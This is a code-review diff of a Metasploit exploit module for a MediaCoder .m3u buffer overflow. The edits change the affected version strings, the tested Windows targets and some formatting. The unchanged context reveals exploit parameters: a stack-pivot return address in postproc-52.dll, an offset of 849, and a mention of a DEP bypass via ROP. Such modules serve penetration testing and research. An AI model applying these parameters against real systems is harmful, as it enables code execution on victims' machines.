File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
modules/exploits/windows/fileformat Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -16,11 +16,11 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'MediaCoder .M3U Buffer Overflow' ,
18
18
'Description' => %q{
19
- This module exploits a buffer overflow in MediaCoder 0.8.23 . The vulnerability
19
+ This module exploits a buffer overflow in MediaCoder 0.8.22 . The vulnerability
20
20
occurs when adding an .m3u, allowing arbitrary code execution under the context
21
21
of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
22
- runs with DEP. This module has been tested successfully on MediaCoder 0.8.23.5530
23
- over Windows XP SP3 and Windows 7 SP1 .
22
+ runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
23
+ to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0 .
24
24
} ,
25
25
'License' => MSF_LICENSE ,
26
26
'Author' =>
@@ -36,7 +36,7 @@ def initialize(info = {})
36
36
] ,
37
37
'DefaultOptions' =>
38
38
{
39
- 'EXITFUNC' => 'seh'
39
+ 'EXITFUNC' => 'seh' ,
40
40
} ,
41
41
'Platform' => 'win' ,
42
42
'Payload' =>
@@ -48,7 +48,7 @@ def initialize(info = {})
48
48
} ,
49
49
'Targets' =>
50
50
[
51
- [ 'MediaCoder 0.8.23.5530 / Windows XP SP3 / Windows 7 SP1 ' ,
51
+ [ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0 ' ,
52
52
{
53
53
'Ret' => 0x6afd4435 , # stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
54
54
'Offset' => 849 ,
You can’t perform that action at this time.
0 commit comments